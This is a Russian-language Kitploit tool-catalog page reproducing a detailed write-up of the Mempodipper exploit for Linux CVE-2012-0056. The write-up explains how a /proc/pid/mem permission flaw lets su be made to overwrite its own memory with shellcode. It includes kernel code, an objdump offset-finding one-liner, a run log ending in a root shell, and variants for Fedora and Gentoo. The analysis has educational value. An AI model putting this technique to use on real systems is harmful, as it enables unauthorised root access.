Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2012-0056 — linux 提权 | Kitploit
Инструменты/GitHubGitHub/pythonone/cve-2012-0056
Privilege EscalationVulnerability AnalysisExploitationShellcodeLearning & EducationBinary Exploitation
GitHubpythonone/cve-2012-0056

CVE-2012-0056

linux 提权

Репозиторий
1610 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Linux Local Privilege Escalation via SUID /proc/pid/mem Write

Mempodipper

Представляем Mempodipper, эксплойт для CVE-2012-0056. /proc/pid/mem — это интерфейс для прямого чтения и записи памяти процесса путем перемещения по тем же адресам, что и виртуальное адресное пространство процесса. В версии 2.6.39 защита от несанкционированного доступа к /proc/pid/mem была признана достаточной, и предыдущая директива #ifdef, запрещавшая запись в произвольную память процесса, была удалена. Любой, имеющий соответствующие разрешения, мог записывать в память процесса. Оказалось, конечно, что проверка разрешений была выполнена плохо. Это означает, что все ядра Linux >=2.6.39 уязвимы, вплоть до коммита с исправлением, выпущенного пару дней назад. Давайте шаг за шагом рассмотрим старый код ядра и разберемся, в чем проблема.

Когда /proc/pid/mem открывается, вызывается этот код ядра:

root@kitploit:~
static int mem_open(struct inode* inode, struct file* file)
{
	file->private_data = (void*)((long)current->self_exec_id);
	/* OK to pass negative loff_t, we can catch out-of-range */
	file->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

При открытии нет никаких ограничений; любой может открыть файловый дескриптор /proc/pid/mem для любого процесса (с учетом обычных ограничений VFS). Он просто запоминает исходный self_exec_id процесса, с которым был открыт, и сохраняет его для последующей проверки при чтении и записи.

Однако запись (и чтение) имеют ограничения проверки разрешений. Давайте взглянем на функцию записи:

root@kitploit:~
static ssize_t mem_write(struct file * file, const char __user *buf,
			 size_t count, loff_t *ppos)
{

/* unimportant code removed for blog post */	

	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
	
/* unimportant code removed for blog post */

	mm = check_mem_permission(task);
	copied = PTR_ERR(mm);
	if (IS_ERR(mm))
		goto out_free;

/* unimportant code removed for blog post */	

	if (file->private_data != (void *)((long)current->self_exec_id))
		goto out_mm;

/* unimportant code removed for blog post
 * (the function here goes onto write the buffer into the memory)
 */	

Итак, на месте две соответствующие проверки для предотвращения несанкционированных записей: check_mem_permission и self_exec_id. Сначала разберем первую, затем вторую.

Код check_mem_permission просто вызывает __check_mem_permission, так что вот код последней:

root@kitploit:~
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
	struct mm_struct *mm;

	mm = get_task_mm(task);
	if (!mm)
		return ERR_PTR(-EINVAL);

	/*
	 * A task can always look at itself, in case it chooses
	 * to use system calls instead of load instructions.
	 */
	if (task == current)
		return mm;

	/*
	 * If current is actively ptrace'ing, and would also be
	 * permitted to freshly attach with ptrace now, permit it.
	 */
	if (task_is_stopped_or_traced(task)) {
		int match;
		rcu_read_lock();
		match = (ptrace_parent(task) == current);
		rcu_read_unlock();
		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
			return mm;
	}

	/*
	 * No one else is allowed.
	 */
	mmput(mm);
	return ERR_PTR(-EPERM);
}

Есть два способа авторизовать запись в память. Либо task == current, то есть процесс, в который идет запись, является процессом, который пишет, либо current (пишущий процесс) имеет эзотерические разрешения ptrace-уровня для работы с task (процессом, в который идет запись). Может быть, вы думаете, что можно обмануть код ptrace? Это заманчиво. Но я не знаю. Вместо этого давайте разберемся, как заставить процесс записывать произвольные данные в свою собственную память, чтобы task == current.

Естественно, мы хотим записывать в память suid-процессов, чтобы получить root. Взгляните на это:

root@kitploit:~
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

su выводит любой ваш текст в stderr с префиксом "Unknown id:". Таким образом, мы можем открыть файловый дескриптор к /proc/self/mem, выполнить lseek в нужное место памяти для записи (об этом позже), использовать dup2 для связывания stderr и mem-дескриптора, а затем exec в su $shellcode, чтобы записать шелл-спавнер в память процесса, после чего мы получим root. Правда? Не так просто.

Здесь вступает в силу другое ограничение. После прохождения проверки task == current он проверяет, совпадает ли текущий self_exec_id с тем self_exec_id, с которым был открыт файловый дескриптор. Что же такое self_exec_id? Он упоминается лишь в нескольких местах в ядре. Самое важное из них находится внутри exec:

root@kitploit:~
void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */

	/* An exec changes our domain. We are no longer part of the thread
	   group */

	current->self_exec_id++;
			
	flush_signal_handlers(current, 0);
	flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

self_exec_id увеличивается каждый раз, когда процесс выполняет exec. Таким образом, это работает так: вы не можете открыть файловый дескриптор в не-suid процессе, выполнить dup2, а затем exec в suid-процесс... именно то, что мы пытались сделать выше. Довольно хитрый способ предотвратить нашу атаку, не так ли?

Вот как это обойти. Мы форкаем дочерний процесс, и внутри этого дочернего процесса выполняем exec в новый процесс. У форкнутого дочернего процесса изначально self_exec_id равен родительскому. Когда мы выполняем exec в новый процесс, self_exec_id увеличивается на единицу. Тем временем сам родитель занят выполнением exec в наш процесс su, который пишет шелл-код, поэтому его self_exec_id также увеличивается до того же значения. Итак, мы делаем следующее: форкаем дочерний процесс и выполняем в нем exec в новый процесс, и уже внутри этого нового процесса открываем файловый дескриптор к /proc/parent-pid/mem, используя PID родительского процесса, а не свой собственный (как было раньше). Мы можем открыть файловый дескриптор, потому что для простого открытия нет проверки разрешений. При открытии его self_exec_id уже увеличился до того значения, каким станет self_exec_id родителя, когда мы выполним exec в su. Наконец, мы передаем открытый файловый дескриптор от дочернего процесса обратно родительскому (используя немного очень темной магии с доменными сокетами Unix), выполняем dup2 и exec в su с шелл-кодом.

Осталось одно возражение. Куда писать? Нам нужно выполнить lseek в правильное место памяти перед записью, а ASLR рандомизирует адресные пространства процессов, что делает невозможным узнать, куда писать. Стоит ли тратить время на изобретение более хитрых способов чтения памяти процесса с последующим поиском? Нет. Обратите внимание:

root@kitploit:~
$ readelf -h /bin/su | grep Type
   Type:                              EXEC (Executable file) 

Это означает, что su не имеет перемещаемой секции .text (иначе выводилось бы "DYN" вместо "EXEC"). Оказывается, что su в подавляющем большинстве дистрибутивов не скомпилирован с PIE, что отключает ASLR для секции .text двоичного файла! Так что мы выбрали su мудро. Смещения в памяти всегда одинаковы. Чтобы найти правильное место для записи, давайте посмотрим на ассемблерный код вокруг вывода сообщения об ошибке "Unknown id: blabla".

Он получает строку ошибки здесь:

root@kitploit:~
  403677:       ba 05 00 00 00          mov    $0x5,%edx
  40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
  403681:       31 ff                   xor    %edi,%edi
  403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)

А затем выводит её в stderr:

root@kitploit:~
  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
  40368f:       48 89 c2                mov    %rax,%rdx
  403692:       b9 20 88 60 00          mov    $0x608820,%ecx
  403697:       be 01 00 00 00          mov    $0x1,%esi
  40369c:       31 c0                   xor    %eax,%eax
  40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)

Закрывает лог:

root@kitploit:~
  4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)

И завершает программу:

root@kitploit:~
  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
  4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)

Поэтому мы хотим использовать 0x402178, адрес вызываемой функции exit. В эксплойте можно автоматизировать поиск символа exit@plt с помощью простого однострочника bash:

root@kitploit:~
$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178

Естественно, мы хотим записывать по адресу 0x402178 минус количество букв в строке "Unknown id: ", чтобы наш шелл-код оказался точно в нужном месте.

Шелл-код должен быть простым и стандартным. Он устанавливает uid и gid в 0 и выполняет exec в оболочку. Если мы хотим проявить изобретательность, можно заново открыть stderr: перед тем как сделать dup2 mem-дескриптора в stderr, выберем другой файловый дескриптор для дублирования stderr, а затем в шелл-коде выполним dup2 этого другого дескриптора обратно в stderr.

В итоге эксплойт работает как часы с полной надежностью:

root@kitploit:~
CVE-2012-0056 $ ls
build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2# 

Вы можете посмотреть видео его работы.

Спасибо Дэну Розенбергу за его постоянные советы и поддержку. В настоящее время я не публикую исходный код, так как Линус совсем недавно его исправил. Когда пройдет разумное количество времени или если кто-то другой сделает это первым, я опубликую. Если вы студент, желающий чему-то научиться, или у вас есть другие законные причины, мы можем поговорить.

Обновление: очевидно, что по иронии судьбы на основе этого поста некоторые другие люди создали эксплойты и опубликовали их. Так что вот мой. Я написал шелл-код для 32-битной и 64-битной архитектур вручную. Наслаждайтесь!

Обновление 2: как оказалось, Fedora весьма уместно компилирует свой su с PIE, что предотвращает эту атаку. Однако, к сожалению, они не компилируют все свои SUID-бинарники с PIE, поэтому эта атака все еще возможна, например, с gpasswd. Код для этого находится в ветке "fedora" git-репозитория, а видеодемонстрация также доступна.

Обновление 3: Gentoo достаточно умна, чтобы удалять права на чтение у SUID-бинарников, что делает невозможным поиск смещения exit@plt с помощью objdump. Я нашел другой способ сделать это с помощью ptrace. Ptrace позволяет отлаживать любую программу в памяти. Для SUID-программ ptrace сбрасывает их привилегии, но это нормально, так как мы просто хотим найти внутренние адреса памяти. Анализируя опкоды двоичного файла в нужный момент, мы можем расшифровать целевой адрес следующего вызова после вывода сообщения об ошибке. Я создал отдельную утилиту, которая возвращает смещение, а также интегрировал её в основной исходник mempodipper.

{Как всегда, эта работа носит исключительно академический характер и не предназначена для использования вне исследований и образования.}

Скачать инструмент